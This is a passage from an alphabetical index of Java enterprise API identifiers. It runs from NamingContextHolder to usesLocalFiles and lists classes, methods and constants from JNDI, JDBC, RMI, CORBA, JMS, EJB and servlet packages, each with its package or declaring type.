NamingContextHolder: org.omg.CosNaming

NamingEnumeration: javax.naming

NamingException: javax.naming

NamingManager: javax.naming.spi

NamingSecurityException: javax.naming

narrow(): BindingIteratorHelper, NamingContextHelper

nativeSQL(): Connection

ncontext: BindingType

new_context(): _NamingContextImplBase, _NamingContextStub, NamingContext

newCall(): RemoteRef

newInstance(): ActivationGroup, ActivationGroup_Stub, ActivationInstantiator

next(): DynAny, NamingEnumeration, ResultSet

next_n(): _BindingIteratorImplBase, _BindingIteratorStub, BindingIterator

next_one(): _BindingIteratorImplBase, _BindingIteratorStub, BindingIterator

NO_IMPLEMENT: org.omg.CORBA

NO_MEMORY: org.omg.CORBA

NO_PERMISSION: org.omg.CORBA

NO_RESOURCES: org.omg.CORBA

NO_RESPONSE: org.omg.CORBA

nobject: BindingType

NoInitialContextException: javax.naming

non_existent(): Delegate

NON_PERSISTENT: DeliveryMode

NoPermissionException: javax.naming

NoSuchAttributeException: javax.naming.directory

NoSuchObjectException: java.rmi

not_context: NotFoundReason

not_object: NotFoundReason

NotBoundException: java.rmi

NotContextException: javax.naming

NotEmpty: org.omg.CosNaming.NamingContextPackage

NotEmptyHelper: org.omg.CosNaming.NamingContextPackage

NotEmptyHolder: org.omg.CosNaming.NamingContextPackage

NotFound: org.omg.CosNaming.NamingContextPackage

NotFoundHelper: org.omg.CosNaming.NamingContextPackage

NotFoundHolder: org.omg.CosNaming.NamingContextPackage

NotFoundReason: org.omg.CosNaming.NamingContextPackage

NotFoundReasonHelper: org.omg.CosNaming.NamingContextPackage

NotFoundReasonHolder: org.omg.CosNaming.NamingContextPackage

NotSupportedException: javax.transaction

NULL: Types

nullPlusNonNullIsNull(): DatabaseMetaData

nullsAreSortedAtEnd(): DatabaseMetaData

nullsAreSortedAtStart(): DatabaseMetaData

nullsAreSortedHigh(): DatabaseMetaData

nullsAreSortedLow(): DatabaseMetaData

NUMERIC: Types

NVList: org.omg.CORBA

OBJ_ADAPTER: org.omg.CORBA

Object: org.omg.CORBA

OBJECT_FACTORIES: Context

OBJECT_NOT_EXIST: org.omg.CORBA

OBJECT_SCOPE: SearchControls

object_to_string(): ORB

ObjectFactory: javax.naming.spi

ObjectFactoryBuilder: javax.naming.spi

ObjectHolder: org.omg.CORBA

ObjectImpl: org.omg.CORBA.portable

ObjectMessage: javax.jms

ObjectNotFoundException: javax.ejb

ObjID: java.rmi.server

ONELEVEL_SCOPE: SearchControls

onException(): ExceptionListener

onMessage(): MessageListener

op_name(): ServerRequest

Operation: java.rmi.server

operation(): Request, ServerRequest

OperationNotSupportedException: javax.naming

ORB: org.omg.CORBA

orb(): Delegate, InputStream, OutputStream

OTHER: Types

othersDeletesAreVisible(): DatabaseMetaData

othersInsertsAreVisible(): DatabaseMetaData

othersUpdatesAreVisible(): DatabaseMetaData

OutputStream: org.omg.CORBA.portable

ownDeletesAreVisible(): DatabaseMetaData

ownInsertsAreVisible(): DatabaseMetaData

ownUpdatesAreVisible(): DatabaseMetaData

packagePrefix: LoaderHandler, RemoteRef

params(): ServerRequest

parent(): Context

parse(): NameParser

parseLevel(): LogStream

parsePostData(): HttpUtils

parseQueryString(): HttpUtils

PartialResultException: javax.naming

perform_work(): ORB

PERSIST_STORE: org.omg.CORBA

PERSISTENT: DeliveryMode

Policy: org.omg.CORBA

policy_type(): Policy

PolicyError: org.omg.CORBA

poll_next_response(): ORB

poll_response(): Request

PooledConnection: javax.sql

position(): Blob, Clob

prepare(): XAResource

prepareCall(): Connection

PreparedStatement: java.sql

prepareStatement(): Connection

previous(): ResultSet

Principal: org.omg.CORBA

PrincipalHolder: org.omg.CORBA

print(): ServletOutputStream

println(): DriverManager, ServletOutputStream

printStackTrace(): ActivationException, RemoteException, ServerCloneException

PRIVATE_MEMBER: org.omg.CORBA

procedureColumnIn: DatabaseMetaData

procedureColumnInOut: DatabaseMetaData

procedureColumnOut: DatabaseMetaData

procedureColumnResult: DatabaseMetaData

procedureColumnReturn: DatabaseMetaData

procedureColumnUnknown: DatabaseMetaData

procedureNoNulls: DatabaseMetaData

procedureNoResult: DatabaseMetaData

procedureNullable: DatabaseMetaData

procedureNullableUnknown: DatabaseMetaData

procedureResultUnknown: DatabaseMetaData

procedureReturnsResult: DatabaseMetaData

propertyExists(): Message

PROVIDER_URL: Context

PUBLIC_MEMBER: org.omg.CORBA

publish(): TopicPublisher

put(): Attributes, BasicAttributes

putValue(): HttpSession

Queue: javax.jms

QueueBrowser: javax.jms

QueueConnection: javax.jms

QueueConnectionFactory: javax.jms

QueueReceiver: javax.jms

QueueRequestor: javax.jms

QueueSender: javax.jms

QueueSession: javax.jms

read(): AlreadyBoundHelper, BindingHelper, BindingIteratorHelper, BindingListHelper, BindingTypeHelper, CannotProceedHelper, InputStream, InvalidNameHelper, IstringHelper, NameComponentHelper, NameHelper, NamingContextHelper, NotEmptyHelper, NotFoundHelper, NotFoundReasonHelper, ObjID, ServiceDetailHelper, ServiceInformationHelper, UID

read_any(): InputStream

read_boolean(): InputStream

read_boolean_array(): InputStream

read_char(): InputStream

read_char_array(): InputStream

read_Context(): InputStream

read_double(): InputStream

read_double_array(): InputStream

read_fixed(): InputStream

read_float(): InputStream

read_float_array(): InputStream

read_long(): InputStream

read_long_array(): InputStream

read_longlong(): InputStream

read_longlong_array(): InputStream

read_Object(): InputStream

read_octet(): InputStream

read_octet_array(): InputStream

read_Principal(): InputStream

read_short(): InputStream

read_short_array(): InputStream

read_string(): InputStream

read_TypeCode(): InputStream

read_ulong(): InputStream

read_ulong_array(): InputStream

read_ulonglong(): InputStream

read_ulonglong_array(): InputStream

read_ushort(): InputStream

read_ushort_array(): InputStream

read_value(): Any

read_wchar(): InputStream

read_wchar_array(): InputStream

read_wstring(): InputStream

readArray(): SQLInput

readAsciiStream(): SQLInput

readBigDecimal(): SQLInput

readBinaryStream(): SQLInput

readBlob(): SQLInput

readBoolean(): BytesMessage, SQLInput, StreamMessage

readByte(): BytesMessage, SQLInput, StreamMessage

readBytes(): BytesMessage, SQLInput, StreamMessage

readChar(): BytesMessage, StreamMessage

readCharacterStream(): SQLInput

readClob(): SQLInput

readData(): RowSetReader

readDate(): SQLInput

readDouble(): BytesMessage, SQLInput, StreamMessage

readFloat(): BytesMessage, SQLInput, StreamMessage

readInt(): BytesMessage, SQLInput, StreamMessage

readLine(): ServletInputStream

readLong(): BytesMessage, SQLInput, StreamMessage

readObject(): SQLInput, StreamMessage

readRef(): SQLInput

readShort(): BytesMessage, SQLInput, StreamMessage

readSQL(): SQLData

readString(): SQLInput, StreamMessage

readTime(): SQLInput

readTimestamp(): SQLInput

readUnsignedByte(): BytesMessage

readUnsignedShort(): BytesMessage

readUTF(): BytesMessage

REAL: Types

reason: PolicyError

rebind(): _NamingContextImplBase, _NamingContextStub, Context, DirContext, InitialContext, InitialDirContext, Naming, NamingContext, Registry

rebind_context(): _NamingContextImplBase, _NamingContextStub, NamingContext

receive(): MessageConsumer

receiveNoWait(): MessageConsumer

recover(): Session, XAResource

ref: RemoteObject

Ref: java.sql

REF: Types

RefAddr: javax.naming

Reference: javax.naming

Referenceable: javax.naming

REFERRAL: Context

ReferralException: javax.naming

refreshRow(): ResultSet

register(): Activatable

registerDriver(): DriverManager

registerGroup(): ActivationSystem

registerObject(): ActivationSystem

registerOutParameter(): CallableStatement

registerSynchronization(): Transaction

Registry: java.rmi.registry

REGISTRY_ID: ObjID

REGISTRY_PORT: Registry

RegistryHandler: java.rmi.registry

registryImpl(): RegistryHandler

registryStub(): RegistryHandler

relative(): ResultSet

release(): Delegate

releaseInputStream(): RemoteCall

releaseOutputStream(): RemoteCall

releaseReply(): Delegate

remainingName: NamingException, ResolveResult

remainingNewName: CannotProceedException

RemarshalException: org.omg.CORBA.portable

Remote: java.rmi

RemoteCall: java.rmi.server

remoteEquals(): RemoteRef

RemoteException: java.rmi

remoteHashCode(): RemoteRef

RemoteObject: java.rmi.server

RemoteRef: java.rmi.server

RemoteServer: java.rmi.server

RemoteStub: java.rmi.server

remoteToString(): RemoteRef

remove(): Attribute, Attributes, BasicAttribute, BasicAttributes, CompositeName, CompoundName, ContextList, EJBHome, EJBObject, ExceptionList, Name, NVList, Reference

REMOVE_ATTRIBUTE: DirContext

removeAttribute(): ServletContext

removeConnectionEventListener(): PooledConnection

RemoveException: javax.ejb

removeFromEnvironment(): Context, InitialContext

removeRowSetListener(): RowSet

removeValue(): HttpSession

rename(): Context, InitialContext

REPLACE_ATTRIBUTE: DirContext

Request: org.omg.CORBA

request(): Delegate, QueueRequestor, TopicRequestor

RequestDispatcher: javax.servlet

required: DriverPropertyInfo

reset(): BytesMessage, StreamMessage

resolve(): _NamingContextImplBase, _NamingContextStub, NamingContext

resolve_initial_references(): ORB

resolvedName: NamingException

resolvedObj: NamingException, ResolveResult

Resolver: javax.naming.spi

ResolveResult: javax.naming.spi

resolveToClass(): Resolver

ResourceAllocationException: javax.jms

ResponseHandler: org.omg.CORBA.portable

rest_of_name: CannotProceed, NotFound

result(): Request, ServerRequest

ResultSet: java.sql

ResultSetMetaData: java.sql

resume(): TransactionManager

return_value(): Request

rewind(): DynAny

RMIClassLoader: java.rmi.server

RMIClientSocketFactory: java.rmi.server

RMIFailureHandler: java.rmi.server

RMISecurityException: java.rmi

RMISecurityManager: java.rmi

RMIServerSocketFactory: java.rmi.server

RMISocketFactory: java.rmi.server

rollback(): Connection, Session, Transaction, TransactionManager, UserTransaction, XAResource

RollbackException: javax.transaction

rootException: NamingException

rowChanged(): RowSetListener

rowDeleted(): ResultSet

rowInserted(): ResultSet

RowSet: javax.sql

rowSetChanged(): RowSetListener

RowSetEvent: javax.sql

RowSetInternal: javax.sql

RowSetListener: javax.sql

RowSetMetaData: javax.sql

RowSetReader: javax.sql

RowSetWriter: javax.sql

rowUpdated(): ResultSet

run(): ORB

SC_ACCEPTED: HttpServletResponse

SC_BAD_GATEWAY: HttpServletResponse

SC_BAD_REQUEST: HttpServletResponse

SC_CONFLICT: HttpServletResponse

SC_CONTINUE: HttpServletResponse

SC_CREATED: HttpServletResponse

SC_FORBIDDEN: HttpServletResponse

SC_GATEWAY_TIMEOUT: HttpServletResponse

SC_GONE: HttpServletResponse

SC_HTTP_VERSION_NOT_SUPPORTED: HttpServletResponse

SC_INTERNAL_SERVER_ERROR: HttpServletResponse

SC_LENGTH_REQUIRED: HttpServletResponse

SC_METHOD_NOT_ALLOWED: HttpServletResponse

SC_MOVED_PERMANENTLY: HttpServletResponse

SC_MOVED_TEMPORARILY: HttpServletResponse

SC_MULTIPLE_CHOICES: HttpServletResponse

SC_NO_CONTENT: HttpServletResponse

SC_NON_AUTHORITATIVE_INFORMATION: HttpServletResponse

SC_NOT_ACCEPTABLE: HttpServletResponse

SC_NOT_FOUND: HttpServletResponse

SC_NOT_IMPLEMENTED: HttpServletResponse

SC_NOT_MODIFIED: HttpServletResponse

SC_OK: HttpServletResponse

SC_PARTIAL_CONTENT: HttpServletResponse

SC_PAYMENT_REQUIRED: HttpServletResponse

SC_PRECONDITION_FAILED: HttpServletResponse

SC_PROXY_AUTHENTICATION_REQUIRED: HttpServletResponse

SC_REQUEST_ENTITY_TOO_LARGE: HttpServletResponse

SC_REQUEST_TIMEOUT: HttpServletResponse

SC_REQUEST_URI_TOO_LONG: HttpServletResponse

SC_RESET_CONTENT: HttpServletResponse

SC_SEE_OTHER: HttpServletResponse

SC_SERVICE_UNAVAILABLE: HttpServletResponse

SC_SWITCHING_PROTOCOLS: HttpServletResponse

SC_UNAUTHORIZED: HttpServletResponse

SC_UNSUPPORTED_MEDIA_TYPE: HttpServletResponse

SC_USE_PROXY: HttpServletResponse

SchemaViolationException: javax.naming.directory

search(): DirContext, InitialDirContext

SearchControls: javax.naming.directory

SearchResult: javax.naming.directory

SECURITY_AUTHENTICATION: Context

SECURITY_CREDENTIALS: Context

SECURITY_PRINCIPAL: Context

SECURITY_PROTOCOL: Context

seek(): DynAny

send(): QueueSender

send_deferred(): Request

send_multiple_requests_deferred(): ORB

send_multiple_requests_oneway(): ORB

send_oneway(): Request

sendError(): HttpServletResponse

sendRedirect(): HttpServletResponse

serialVersionUID: RemoteRef, ServerRef

servant: ServantObject

servant_postinvoke(): Delegate

servant_preinvoke(): Delegate

ServantObject: org.omg.CORBA.portable

ServerCloneException: java.rmi.server

ServerError: java.rmi

ServerException: java.rmi

ServerNotActiveException: java.rmi.server

ServerRef: java.rmi.server

ServerRequest: org.omg.CORBA

ServerRuntimeException: java.rmi

ServerSession: javax.jms

ServerSessionPool: javax.jms

service(): GenericServlet, HttpServlet, Servlet

service_detail: ServiceDetail

service_detail_type: ServiceDetail

service_details: ServiceInformation

service_options: ServiceInformation

ServiceDetail: org.omg.CORBA

ServiceDetailHelper: org.omg.CORBA

ServiceInformation: org.omg.CORBA

ServiceInformationHelper: org.omg.CORBA

ServiceInformationHolder: org.omg.CORBA

ServiceUnavailableException: javax.naming

Servlet: javax.servlet

ServletConfig: javax.servlet

ServletContext: javax.servlet

ServletException: javax.servlet

ServletInputStream: javax.servlet

ServletOutputStream: javax.servlet

ServletRequest: javax.servlet

ServletResponse: javax.servlet

Session: javax.jms

SessionBean: javax.ejb

SessionContext: javax.ejb

SessionDescriptor: javax.ejb.deployment

SessionSynchronization: javax.ejb

set_as_default(): DynUnion

set_elements(): DynArray, DynSequence

set_exception(): ServerRequest

set_members(): DynStruct, DynValue

set_one_value(): Context

SET_OVERRIDE: SetOverrideType

set_parameters(): ORB

set_policy_override(): Delegate

set_result(): ServerRequest

set_return_type(): Request

set_value(): DynFixed

set_values(): Context

setAccessControlEntries(): DeploymentDescriptor

setActivationDesc(): ActivationSystem

setActivationGroupDesc(): ActivationSystem

setAllowedIdentities(): AccessControlEntry

setAltName(): CannotProceedException

setAltNameCtx(): CannotProceedException

setArray(): PreparedStatement, RowSet

setAsciiStream(): PreparedStatement, RowSet

setAttribute(): ServletContext, ServletRequest

setAttributes(): SearchResult

setAutoCommit(): Connection

setAutoIncrement(): RowSetMetaData

setBeanHomeName(): DeploymentDescriptor

setBigDecimal(): PreparedStatement, RowSet

setBinaryStream(): PreparedStatement, RowSet

setBlob(): PreparedStatement, RowSet

setBoolean(): MapMessage, PreparedStatement, RowSet

setBooleanProperty(): Message

setByte(): MapMessage, PreparedStatement, RowSet

setByteProperty(): Message

setBytes(): MapMessage, PreparedStatement, RowSet

setCaseSensitive(): RowSetMetaData

setCatalog(): Connection

setCatalogName(): RowSetMetaData

setChar(): MapMessage

setCharacterStream(): PreparedStatement, RowSet

setClassName(): NameClassPair

setClientID(): Connection

setClob(): PreparedStatement, RowSet

setColumnCount(): RowSetMetaData

setColumnDisplaySize(): RowSetMetaData

setColumnLabel(): RowSetMetaData

setColumnName(): RowSetMetaData

setColumnType(): RowSetMetaData

setColumnTypeName(): RowSetMetaData

setCommand(): RowSet

setComment(): Cookie

setConcurrency(): RowSet

setContainerManagedFields(): EntityDescriptor

setContentLength(): ServletResponse

setContentType(): ServletResponse

setControlDescriptors(): DeploymentDescriptor

setCountLimit(): SearchControls

setCurrency(): RowSetMetaData

setCursorName(): Statement

setDataSourceName(): RowSet

setDate(): PreparedStatement, RowSet, Time

setDateHeader(): HttpServletResponse

setDefaultStream(): LogStream

setDeliveryMode(): MessageProducer

setDerefLinkFlag(): SearchControls

setDisableMessageID(): MessageProducer

setDisableMessageTimestamp(): MessageProducer

setDomain(): Cookie

setDouble(): MapMessage, PreparedStatement, RowSet

setDoubleProperty(): Message

setEnterpriseBeanClassName(): DeploymentDescriptor

setEntityContext(): EntityBean

setEnvironment(): CannotProceedException

setEnvironmentProperties(): DeploymentDescriptor

setEscapeProcessing(): RowSet, Statement

setExceptionListener(): Connection

setFailureHandler(): RMISocketFactory

setFetchDirection(): ResultSet, Statement

setFetchSize(): ResultSet, Statement

setFloat(): MapMessage, PreparedStatement, RowSet

setFloatProperty(): Message

setHeader(): HttpServletResponse

setHomeInterfaceClassName(): DeploymentDescriptor

setHours(): Date

setInitialContextFactoryBuilder(): NamingManager

setInt(): MapMessage, PreparedStatement, RowSet

setIntHeader(): HttpServletResponse

setIntProperty(): Message

setIsolationLevel(): ControlDescriptor

setJMSCorrelationID(): Message

setJMSCorrelationIDAsBytes(): Message

setJMSDeliveryMode(): Message

setJMSDestination(): Message

setJMSExpiration(): Message

setJMSMessageID(): Message

setJMSPriority(): Message

setJMSRedelivered(): Message

setJMSReplyTo(): Message

setJMSTimestamp(): Message

setJMSType(): Message

setLinkedException(): JMSException

setLinkExplanation(): LinkException

setLinkRemainingName(): LinkException

setLinkResolvedName(): LinkException

setLinkResolvedObj(): LinkException

setLog(): RemoteServer

setLoginTimeout(): ConnectionPoolDataSource, DataSource, DriverManager, XADataSource

setLogStream(): DriverManager

setLogWriter(): ConnectionPoolDataSource, DataSource, DriverManager, XADataSource

setLong(): MapMessage, PreparedStatement, RowSet

setLongProperty(): Message

setMaxAge(): Cookie

setMaxFieldSize(): RowSet, Statement

setMaxInactiveInterval(): HttpSession

setMaxRows(): RowSet, Statement

setMessageListener(): MessageConsumer, Session

setMetaData(): RowSetInternal

setMethod(): AccessControlEntry, ControlDescriptor

setMinutes(): Date

setMonth(): Time

setName(): NameClassPair

setNanos(): Timestamp

setNextException(): SQLException

setNextWarning(): SQLWarning

setNull(): PreparedStatement, RowSet

setNullable(): RowSetMetaData

setObject(): Binding, MapMessage, ObjectMessage, PreparedStatement, RowSet

setObjectFactoryBuilder(): NamingManager

setObjectProperty(): Message

setOutputStream(): LogStream

SetOverrideType: org.omg.CORBA

setPassword(): RowSet

setPath(): Cookie

setPrecision(): RowSetMetaData

setPrimaryKeyClassName(): EntityDescriptor

setPriority(): MessageProducer

setQueryTimeout(): RowSet, Statement

setReadOnly(): Connection, RowSet

setReentrant(): DeploymentDescriptor

setRef(): PreparedStatement, RemoteStub, RowSet

setRelative(): NameClassPair

setRemainingName(): NamingException, ResolveResult

setRemainingNewName(): CannotProceedException

setRemoteInterfaceClassName(): DeploymentDescriptor

setResolvedName(): NamingException

setResolvedObj(): NamingException, ResolveResult

setReturningAttributes(): SearchControls

setReturningObjFlag(): SearchControls

setRollbackOnly(): EJBContext, Transaction, TransactionManager, UserTransaction

setRootCause(): NamingException

setRunAsIdentity(): ControlDescriptor

setRunAsMode(): ControlDescriptor

setScale(): RowSetMetaData

setSchemaName(): RowSetMetaData

setSearchable(): RowSetMetaData

setSearchScope(): SearchControls

setSeconds(): Date

setSecure(): Cookie

setSessionContext(): SessionBean

setSessionTimeout(): SessionDescriptor

setShort(): MapMessage, PreparedStatement, RowSet

setShortProperty(): Message

setSigned(): RowSetMetaData

setSocketFactory(): RMISocketFactory

setStateManagementType(): SessionDescriptor

setStatus(): HttpServletResponse

setString(): MapMessage, PreparedStatement, RowSet

setStringProperty(): Message

setSystem(): ActivationGroup

setTableName(): RowSetMetaData

setText(): TextMessage

setTime(): Date, PreparedStatement, RowSet, Time

setTimeLimit(): SearchControls

setTimestamp(): PreparedStatement, RowSet

setTimeToLive(): MessageProducer

setTransactionAttribute(): ControlDescriptor

setTransactionIsolation(): Connection, RowSet

setTransactionTimeout(): TransactionManager, UserTransaction, XAResource

setType(): RowSet

setTypeMap(): Connection, RowSet

setUnexecutedModifications(): AttributeModificationException

setUnicodeStream(): PreparedStatement

setUrl(): RowSet

setUsername(): RowSet

setValue(): Cookie

setVersion(): Cookie

setYear(): Time

ShortHolder: org.omg.CORBA

shutdown(): ActivationSystem, ORB

SILENT: LogStream

SingleThreadModel: javax.servlet

size(): Attribute, Attributes, BasicAttribute, BasicAttributes, CompositeName, CompoundName, Name, Reference

SizeLimitExceededException: javax.naming

Skeleton: java.rmi.server

SkeletonMismatchException: java.rmi.server

SkeletonNotFoundException: java.rmi.server

skipReferral(): ReferralException

SMALLINT: Types

SocketSecurityException: java.rmi.server

SPECIFIED_IDENTITY: ControlDescriptor

SQLData: java.sql

SQLException: java.sql

SQLInput: java.sql

SQLOutput: java.sql

SQLWarning: java.sql

start(): Connection, ServerSession, XAResource

startsWith(): CompositeName, CompoundName, Name

STATEFUL_SESSION: SessionDescriptor

STATELESS_SESSION: SessionDescriptor

Statement: java.sql

Status: javax.transaction

STATUS_ACTIVE: Status

STATUS_COMMITTED: Status

STATUS_COMMITTING: Status

STATUS_MARKED_ROLLBACK: Status

STATUS_NO_TRANSACTION: Status

STATUS_PREPARED: Status

STATUS_PREPARING: Status

STATUS_ROLLEDBACK: Status

STATUS_ROLLING_BACK: Status

STATUS_UNKNOWN: Status

stop(): Connection

storesLowerCaseIdentifiers(): DatabaseMetaData

storesLowerCaseQuotedIdentifiers(): DatabaseMetaData

storesMixedCaseIdentifiers(): DatabaseMetaData

storesMixedCaseQuotedIdentifiers(): DatabaseMetaData

storesUpperCaseIdentifiers(): DatabaseMetaData

storesUpperCaseQuotedIdentifiers(): DatabaseMetaData

Streamable: org.omg.CORBA.portable

StreamMessage: javax.jms

string_to_object(): ORB

StringHolder: org.omg.CORBA

StringRefAddr: javax.naming

STRUCT: Types

Struct: java.sql

StructMember: org.omg.CORBA

StubNotFoundException: java.rmi

SUBTREE_SCOPE: SearchControls

supportsAlterTableWithAddColumn(): DatabaseMetaData

supportsAlterTableWithDropColumn(): DatabaseMetaData

supportsANSI92EntryLevelSQL(): DatabaseMetaData

supportsANSI92FullSQL(): DatabaseMetaData

supportsANSI92IntermediateSQL(): DatabaseMetaData

supportsBatchUpdates(): DatabaseMetaData

supportsCatalogsInDataManipulation(): DatabaseMetaData

supportsCatalogsInIndexDefinitions(): DatabaseMetaData

supportsCatalogsInPrivilegeDefinitions(): DatabaseMetaData

supportsCatalogsInProcedureCalls(): DatabaseMetaData

supportsCatalogsInTableDefinitions(): DatabaseMetaData

supportsColumnAliasing(): DatabaseMetaData

supportsConvert(): DatabaseMetaData

supportsCoreSQLGrammar(): DatabaseMetaData

supportsCorrelatedSubqueries(): DatabaseMetaData

supportsDataDefinitionAndDataManipulationTransactions(): DatabaseMetaData

supportsDataManipulationTransactionsOnly(): DatabaseMetaData

supportsDifferentTableCorrelationNames(): DatabaseMetaData

supportsExpressionsInOrderBy(): DatabaseMetaData

supportsExtendedSQLGrammar(): DatabaseMetaData

supportsFullOuterJoins(): DatabaseMetaData

supportsGroupBy(): DatabaseMetaData

supportsGroupByBeyondSelect(): DatabaseMetaData

supportsGroupByUnrelated(): DatabaseMetaData

supportsIntegrityEnhancementFacility(): DatabaseMetaData

supportsLikeEscapeClause(): DatabaseMetaData

supportsLimitedOuterJoins(): DatabaseMetaData

supportsMinimumSQLGrammar(): DatabaseMetaData

supportsMixedCaseIdentifiers(): DatabaseMetaData

supportsMixedCaseQuotedIdentifiers(): DatabaseMetaData

supportsMultipleResultSets(): DatabaseMetaData

supportsMultipleTransactions(): DatabaseMetaData

supportsNonNullableColumns(): DatabaseMetaData

supportsOpenCursorsAcrossCommit(): DatabaseMetaData

supportsOpenCursorsAcrossRollback(): DatabaseMetaData

supportsOpenStatementsAcrossCommit(): DatabaseMetaData

supportsOpenStatementsAcrossRollback(): DatabaseMetaData

supportsOrderByUnrelated(): DatabaseMetaData

supportsOuterJoins(): DatabaseMetaData

supportsPositionedDelete(): DatabaseMetaData

supportsPositionedUpdate(): DatabaseMetaData

supportsResultSetConcurrency(): DatabaseMetaData

supportsResultSetType(): DatabaseMetaData

supportsSchemasInDataManipulation(): DatabaseMetaData

supportsSchemasInIndexDefinitions(): DatabaseMetaData

supportsSchemasInPrivilegeDefinitions(): DatabaseMetaData

supportsSchemasInProcedureCalls(): DatabaseMetaData

supportsSchemasInTableDefinitions(): DatabaseMetaData

supportsSelectForUpdate(): DatabaseMetaData

supportsStoredProcedures(): DatabaseMetaData

supportsSubqueriesInComparisons(): DatabaseMetaData

supportsSubqueriesInExists(): DatabaseMetaData

supportsSubqueriesInIns(): DatabaseMetaData

supportsSubqueriesInQuantifieds(): DatabaseMetaData

supportsTableCorrelationNames(): DatabaseMetaData

supportsTransactionIsolationLevel(): DatabaseMetaData

supportsTransactions(): DatabaseMetaData

supportsUnion(): DatabaseMetaData

supportsUnionAll(): DatabaseMetaData

suspend(): TransactionManager

Synchronization: javax.transaction

SYSTEM_IDENTITY: ControlDescriptor

SYSTEM_PORT: ActivationSystem

SystemException: javax.transaction, org.omg.CORBA

tableIndexClustered: DatabaseMetaData

tableIndexHashed: DatabaseMetaData

tableIndexOther: DatabaseMetaData

tableIndexStatistic: DatabaseMetaData

target(): Request

TCKind: org.omg.CORBA

TemporaryQueue: javax.jms

TemporaryTopic: javax.jms

TextMessage: javax.jms

TIME: Types

Time: java.sql

TimeLimitExceededException: javax.naming

Timestamp: java.sql

TIMESTAMP: Types

TINYINT: Types

tk_abstract_interface: TCKind

tk_alias: TCKind

tk_any: TCKind

tk_array: TCKind

tk_boolean: TCKind

tk_char: TCKind

tk_double: TCKind

tk_enum: TCKind

tk_except: TCKind

tk_fixed: TCKind

tk_float: TCKind

tk_long: TCKind

tk_longdouble: TCKind

tk_longlong: TCKind

tk_native: TCKind

tk_null: TCKind

tk_objref: TCKind

tk_octet: TCKind

tk_Principal: TCKind

tk_sequence: TCKind

tk_short: TCKind

tk_string: TCKind

tk_struct: TCKind

tk_TypeCode: TCKind

tk_ulong: TCKind

tk_ulonglong: TCKind

tk_union: TCKind

tk_ushort: TCKind

tk_value: TCKind

tk_value_box: TCKind

tk_void: TCKind

tk_wchar: TCKind

tk_wstring: TCKind

TMENDRSCAN: XAResource

TMFAIL: XAResource

TMJOIN: XAResource

TMNOFLAGS: XAResource

TMONEPHASE: XAResource

TMRESUME: XAResource

TMSTARTRSCAN: XAResource

TMSUCCESS: XAResource

TMSUSPEND: XAResource

to_any(): DynAny

Topic: javax.jms

TopicConnection: javax.jms

TopicConnectionFactory: javax.jms

TopicPublisher: javax.jms

TopicRequestor: javax.jms

TopicSession: javax.jms

TopicSubscriber: javax.jms

toString(): AttributeModificationException, BasicAttribute, BasicAttributes, BinaryRefAddr, Binding, CompositeName, CompoundName, Date, Delegate, LinkException, LogStream, ModificationItem, NameClassPair, NamingException, ObjectImpl, ObjID, Operation, Queue, RefAddr, Reference, RemoteObject, SearchResult, SystemException, Time, Timestamp, Topic, UID, VMID

toStub(): RemoteObject

Transaction: javax.transaction

TRANSACTION_NONE: Connection

TRANSACTION_READ_COMMITTED: Connection, ControlDescriptor

TRANSACTION_READ_UNCOMMITTED: Connection, ControlDescriptor

TRANSACTION_REPEATABLE_READ: Connection, ControlDescriptor

TRANSACTION_REQUIRED: org.omg.CORBA

TRANSACTION_ROLLEDBACK: org.omg.CORBA

TRANSACTION_SERIALIZABLE: Connection, ControlDescriptor

TransactionInProgressException: javax.jms

TransactionManager: javax.transaction

TransactionRequiredException: javax.transaction

TransactionRolledBackException: javax.jms

TransactionRolledbackException: javax.transaction

TRANSIENT: org.omg.CORBA

TX_BEAN_MANAGED: ControlDescriptor

TX_MANDATORY: ControlDescriptor

TX_NOT_SUPPORTED: ControlDescriptor

TX_REQUIRED: ControlDescriptor

TX_REQUIRES_NEW: ControlDescriptor

TX_SUPPORTS: ControlDescriptor

type: StructMember, UnionMember, ValueMember

type(): AlreadyBoundHelper, Any, BindingHelper, BindingIteratorHelper, BindingListHelper, BindingTypeHelper, CannotProceedHelper, DynAny, IDLType, InvalidNameHelper, IstringHelper, NameComponentHelper, NameHelper, NamingContextHelper, NotEmptyHelper, NotFoundHelper, NotFoundReasonHelper, ServiceDetailHelper, ServiceInformationHelper

type_def: StructMember, UnionMember, ValueMember

TYPE_FORWARD_ONLY: ResultSet

type_modifier(): TypeCode

TYPE_SCROLL_INSENSITIVE: ResultSet

TYPE_SCROLL_SENSITIVE: ResultSet

TypeCode: org.omg.CORBA

TypeCodeHolder: org.omg.CORBA

TypeMismatch: org.omg.CORBA.DynAnyPackage

typeNoNulls: DatabaseMetaData

typeNullable: DatabaseMetaData

typeNullableUnknown: DatabaseMetaData

typePredBasic: DatabaseMetaData

typePredChar: DatabaseMetaData

typePredNone: DatabaseMetaData

Types: java.sql

typeSearchable: DatabaseMetaData

UID: java.rmi.server

UnavailableException: javax.servlet

unbind(): _NamingContextImplBase, _NamingContextStub, Context, InitialContext, Naming, NamingContext, Registry

UnexpectedException: java.rmi

unexportObject(): Activatable, UnicastRemoteObject

UnicastRemoteObject: java.rmi.server

UnionMember: org.omg.CORBA

UNKNOWN: org.omg.CORBA

UnknownGroupException: java.rmi.activation

UnknownHostException: java.rmi

UnknownObjectException: java.rmi.activation

UnknownUserException: org.omg.CORBA

UnmarshalException: java.rmi

Unreferenced: java.rmi.server

unreferenced(): Unreferenced

unregister(): Activatable

unregisterGroup(): ActivationSystem

unregisterObject(): ActivationSystem

unsetEntityContext(): EntityBean

unsubscribe(): TopicSession

UNSUPPORTED_POLICY: org.omg.CORBA

UNSUPPORTED_POLICY_VALUE: org.omg.CORBA

updateAsciiStream(): ResultSet

updateBigDecimal(): ResultSet

updateBinaryStream(): ResultSet

updateBoolean(): ResultSet

updateByte(): ResultSet

updateBytes(): ResultSet

updateCharacterStream(): ResultSet

updateDate(): ResultSet

updateDouble(): ResultSet

updateFloat(): ResultSet

updateInt(): ResultSet

updateLong(): ResultSet

updateNull(): ResultSet

updateObject(): ResultSet

updateRow(): ResultSet

updatesAreDetected(): DatabaseMetaData

updateShort(): ResultSet

updateString(): ResultSet

updateTime(): ResultSet

updateTimestamp(): ResultSet

URL_PKG_PREFIXES: Context

UserException: org.omg.CORBA

UserTransaction: javax.transaction

usesLocalFilePerTable(): DatabaseMetaData

usesLocalFiles(): DatabaseMetaData

